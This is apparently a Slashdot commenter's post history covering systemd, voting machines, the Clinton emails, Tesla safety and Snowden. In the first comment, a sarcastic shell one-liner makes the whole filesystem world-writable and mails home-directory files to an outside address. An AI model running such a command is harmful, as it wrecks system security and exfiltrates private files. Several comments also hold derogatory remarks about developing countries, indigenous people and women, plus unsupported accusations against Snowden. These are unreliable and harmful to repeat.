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  1. Re:systemd vs. init on Multiple Linux Distributions Affected By Crippling Bug In Systemd (agwa.name) · · Score: 1

    Trump's a Democrat through and through. Also, I don't recall init having a feature that goes 'chmod -R 777 /; for f in `ls ~/*`; do mail -s "do not distribute, wink wink" -a $f me@hillary.com; done'. That must have been in the latest patch that I missed.

  2. Re:systemd vs. init on Multiple Linux Distributions Affected By Crippling Bug In Systemd (agwa.name) · · Score: 1

    You're right. I don't know how I could have thought that Obama's doubling of the debt from 10 trillion to nearly 20 could have been anything other than fiscal discipline.

  3. Re:systemd vs. init on Multiple Linux Distributions Affected By Crippling Bug In Systemd (agwa.name) · · Score: 1

    init. Systemd is a bunch of Bernie Bros who think they can will away basic arithmetic to get something for nothing.

  4. Logic problem on Pennsylvania's Voting Machines Are Running Windows XP (cbsnews.com) · · Score: 1

    Either it's running an old OS and it's vulnerable to unpatched exploits or it's always running the latest and greatest and it's vulnerable to code breaking because of changes to the OS. Can't have latest and greatest AND high reliability.

  5. Re: Textbook mission creep on The United Nations Will Launch Its First Space Mission In 2021 (vice.com) · · Score: 1

    And all of those agencies are (nominally) structured as mechanisms by which national weather, aviation, and telecom agencies communicate and agree on policies and programs that they individually run. Surely you understand the difference between having an ICAO and having an ICAO that runs its own control tower and air traffic radars instead of the FAA?

  6. Textbook mission creep on The United Nations Will Launch Its First Space Mission In 2021 (vice.com) · · Score: 1

    Remember back when the UN was supposed to be a forum for (civilized) states to settle disputes and communicate in a multilateral and open manner? Well, that's boring, and we're not that good at it, so let's distract away from our structural ineptitude by wasting our member states' taxpayers' money on rockets!

  7. How about "Windows 10 Will Soon Run Edge In a Virtual Machine For Increased Security"? Ya know...something that doesn't sing the praises of the Benevolent Leader?

  8. Re:The U.S. ain't perfect, but... on Trump Opposes Plan For US To Hand Over Internet Oversight To a Global Governance (reuters.com) · · Score: 4, Insightful

    Pretty good racket determining what is and what is not hate speech. "How much money to appease your gods?" and all that.

  9. that sends a signal if there's cancer?

  10. Clinton lies through her teeth and contradicts herself about everything. Trump lies through his teeth and contradicts himself about everything. Trump "gets away with it" somehow, but Clinton doesn't? She just got away with it all the way to the nomination, (and State before that, and the Senate before that). But ah, I see. She's the press's favored candidate, so when she gets called bullshit on just like Trump does, she's the one who's treated unfairly.

  11. What exactly are you getting at AC? We should have found an even higher grade idiot of the female persuasion?

  12. The Clinton smokescreen is at it again. Just wait for the new parade of excuses.

    "Secretary Clinton never directly instructed Mr. Combetta to delete her emails."
    "Secretary Clinton had no knowledge about the day-to-day management of her IT systems"
    "Secretary Clinton never even read her own emails"
    "Secretary Clinton was too busy dodging bullets in Kosovo to be deleting her emails"
    "Secretary Clinton relied on Secretary Powell's judgement in drafting her team's procedures on use and retention of email"
    "I'd rather be emailing with Hillary than tweeting with Donald"

    Fucking pathetic. To anyone who still doesn't realize that Trump and Hillary have the exact same MO down to the micron, explain this. Go ahead. Explain to the class how Hillary is anything other than a less successful liar and a less successful real estate developer than Trump. Maybe she gets points on being a little better polished. A little/ That's it.

    Vote Johnson. I don't care what Aleppo is either given more important priorities this November.

  13. Re:Well... on Mobileye Says Tesla Was Dropped Because of Safety Concerns · · Score: 1

    There are about 4 million drivers in Mass. Average commute is 10 miles (ballpark). People work 250 days a year, making 500 trips for 5000 miles/yr/person. Total per-year is 20 x 10^9 miles. A rate of .57 per 100M would be about 11 fatalities per year, which is kind of low but within an order of magnitude of the correct answer. If stats have been kept for 50 years, that's 550 deaths, for an uncertainty (1-sigma) of 22 total deaths, meaning the uncertainty in the .57 number is 0.022. So on the high end, it would be about 0.6 per thousand. Tesla had 2 deaths with an uncertainty of 1.44. So yeah, sorry, there's like a 66% chance (and that's being generous) that Autopilot is less safe than our lovely Boston roads.

  14. Bullshit on Edward Snowden Makes 'Moral' Case For Presidential Pardon (theguardian.com) · · Score: -1, Troll

    If he's so fucking righteous, he can come on back and plead his case. Otherwise, he can STFU and keep collecting his KGB paychecks. If the fact that his document dump looks exactly like the Russian FUD tactics on display in Crimea, in Syria, and in the DNC hack doesn't tip you off, maybe the fact that he 'exiled' himself to Russia can clue you in to his loyalties.

  15. Re:Third world keeps on third worldin' on Are Governments Denying Internet Access To Their Political Opponents? (technologyreview.com) · · Score: 3, Insightful

    The summary tells me that it's in vogue to spend time and energy manufacturing ethnic identities and grievances for chronic underachievers so that they can be used to attack political enemies rather than spending time and energy for the betterment of mankind.

  16. Re:Third world keeps on third worldin' on Are Governments Denying Internet Access To Their Political Opponents? (technologyreview.com) · · Score: 1

    What's that tell you about "the standard indigenous people of the land"?

  17. Third world keeps on third worldin' on Are Governments Denying Internet Access To Their Political Opponents? (technologyreview.com) · · Score: 4, Insightful

    In other news...some of those same people don't have indoor plumbing or electricity...because racism and totally not because they're living in an underdeveloped country-only-on-paper where tribe and clan are the only institutions there are.

  18. The Dear Leader created Java in a single hackathon on Slashdot Asks: What Are Your Favorite Java 8 Features? (infoworld.com) · · Score: 0

    And he also seems to have written this story.

  19. When everything you do on Systemd Rolls Out Its Own Mount Tool (phoronix.com) · · Score: 4, Insightful

    invited complaints, counter-arguments, and forks to get away from your shit, maybe you should take that as a hint to just stop. Chances are that you are, in fact, not the only sane man left.

  20. Re:Dumb on Has The NSF Automated Coding with ExCAPE? (adtmag.com) · · Score: 5, Insightful

    I'll tell you exactly why: only a small segment of the population (maybe 1%) has figured out that the point of using computers, as opposed to doing things with pencil and paper, is precisely that computers do exactly the things they are told in exactly the order they are told, every time vs humans who don't. That 1% has always understood that the hard part isn't crunching the numbers, and never has been; the hard part is figuring out what operations to do in what order to get the right answer.

    The rest are (and always have been) operating under the misapprehension that computers are electronic brains or oracles that you can converse with as you would another human being.

    The fact that people like Vanevar Bush and Norbert Weiner encouraged this attitude in their attempt to explain computers to 'the common man' did more damage to the public perception of computing than anything else because it was done early and set the tone for public perceptions and those public perceptions are the first thing that almost everyone encounters first in their lives, whether they go on to be an MBA in the corner office or whether they go on to be a kernel hacker who makes more money than the MBA for shaving a few microseconds off of a trade an HFT software stack.

  21. Dumb on Has The NSF Automated Coding with ExCAPE? (adtmag.com) · · Score: 5, Insightful

    If you don't have to learn the intricacies of some esoteric computer programming language, you'll have to learn the intricacies of this esoteric NSF project. Next!

  22. Hmmm. Looks like the old GM is back. on GM Expressed Interest In Buying Lyft, But Lyft Declined (techcrunch.com) · · Score: 1

    Before bankruptcy, bailout, and restructuring, something like half of GM's business was financial and not...you know...making cars. I suppose it's a bit of an improvement that the acquisition was for a company that has *something* to do with cars at least, but it sure does look the same old bean counters are back in charge. Shame too. I like my pre-bailout chevy and was thinking of getting a new one in a couple of years. If the same old story is getting a Hollywood reboot, I might just need to wait it out or get a Toyota.

  23. Hard to get any paperwork filed when you're so stoned out of your mind that you can't tell a brake pedal lock that locks around the brake pedal from a steering wheel lock that locks around the steering wheel.

  24. Old school. But effective.

  25. Dear Apple and other Safe Space Cadets, on Apple Replaces The Pistol Emoji With A Water Gun (cnn.com) · · Score: 2

    Grow the fuck up.

    Sincerely,
    Every normal, well-adjusted, person with a mental age in the double digits.